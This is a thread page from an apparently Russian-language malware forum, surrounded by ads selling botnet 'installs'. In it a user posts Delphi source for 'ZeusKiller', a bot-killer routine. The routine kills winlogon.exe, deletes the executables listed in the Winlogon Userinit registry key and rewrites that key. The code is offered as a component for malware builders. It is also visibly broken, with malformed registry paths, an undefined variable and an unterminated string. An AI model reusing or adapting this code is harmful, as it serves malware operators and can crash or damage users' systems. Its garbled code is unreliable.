|LoadsSell.net - Мы продаем загрузки| |PlohihZagRusOK.net - у нас нет плохих загрузок| |installsmarket.net - качественные загрузки любых стран| |installsdealer.com - Ваши дилеры на рынке инсталлов| |ZagruzkiNah.Com - чоткие загрузы| |107928 - продаю загрузки|

 
Prev Предыдущее сообщение   Следующее сообщение Next
Старый 3 недель(и) назад   #1
WestSide

Windows 98

Регистрация: 19.11.2010
Сообщений: 163
Поблагодарили всего: 81
за это сообщение: 2
По умолчанию [Delphi] ZeusKiller

функция убийства процесса by хз кто
Код:
function KillTask(ExeFileName:string):integer;  
const  
PROCESS_TERMINATE=$0001;  
var  
Co:BOOL;  
FS:THandle;  
FP:TProcessEntry32;  
begin  
result:=0;  
FS:=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);  
FP.dwSize:=Sizeof(FP);  
Co:=Process32First(FS,FP);  
while integer(Co) <> 0 do  
begin  
if ((UpperCase(ExtractFileName(FP.szExeFile))=UpperCase(ExeFileName)) or  
(UpperCase(FP.szExeFile)=UpperCase(ExeFileName))) then  
Result:=Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, BOOL(0),  
FP.th32ProcessID),0));  
Co:=Process32Next(FS,FP);  
end;  
CloseHandle(FS);  
end;
Процедура by WestSide

Код:
Procedure zeuskiller;  
var S,n,i,m,nk:String;  
b:Integer;  
RegIni: TRegIniFile;  
begin  
with TRegistry.Create do  
  begin  
  RootKey:=HKEY_LOCAL_MACHINE;  
  OpenKey('\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\', false); //открываем ключ  
  S:=ReadString('Userinit'); //считываем ключ Userinit  
  Destroy;  
  If S<>PChar(GETENVIRONMENTVARIABLE('WINDIR')+'system32userinit.exe,') //смотрим если ключ не равен %WinDir%\system32\userinit.exe, значит там сидит Zeus  
  then  
  begin  
  S:=StringReplace(S,PChar(GETENVIRONMENTVARIABLE('WINDIR')+'system32userinit.exe,'),'',[rfReplaceAll]); //избавляемся от лишнего  
  b:=AnsiPos(',',S); //узнаем позицию первой запятой (слева на право)  
  n:=(Copy(S, 0 , b-1)); //копируем путь до исполняемого файла №1  
  S:=StringReplace(S,n,'',[rfReplaceAll]); //избавляемся от пути в переменной S  
  nk:=(Copy(S, 0 , Height-1)); //копируем 2ой путь  
  n:=StringReplace(n,',','',[rfReplaceAll]); //удаляем запятую в переменной n  
  nk:=StringReplace(nk,',','',[rfReplaceAll]); //удаляем запятую в переменной  
  KillTask('winlogon.exe'); //убиваем Winlogon, именно в нем сидит Zeus  
    DeleteFile(n); //удаляем 1ый файл  
    DeleteFile(nk); //удаляем 2ой файл  
  RegIni := TRegIniFile.Create('Software');   
  RegIni.RootKey := HKEY_LOCAL_MACHINE;  
  RegIni.OpenKey('SOFTWAREMicrosoftWindows NTCurrentVersion', true);  
  RegIni.WriteString('Winlogon', 'Userinit', PChar(GETENVIRONMENTVARIABLE('WINDIR')+':)system32userinit.exe,)); //ну а тут мы перезаписываем ключ реестра  
  RegIni.Free; //убираем за собой  
  end;  
end;  
end;
by WestSide, незнал куда кинуть, захреначил сюда, если что перекиньте куда надо
WestSide вне форума  
Сказали 'Спасибо' за это сообщение.
Ответить с цитированием
Сказали спасибо:
Dave (3 недель(и) назад), _Stealer_ (3 недель(и) назад)
 

Нижняя навигация
Вернуться   Fuck Anti Virus > Работаем с файлами > Source


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 

(Подробнее Тему прочитали: 8
bertolai, Dave, GrammarNazi, Pille, ptktyrf, RXT, VaD75, _Stealer_
Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Часовой пояс GMT +4, время: 15:26.


Powered by vBulletin® Version 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd. Перевод: zCarot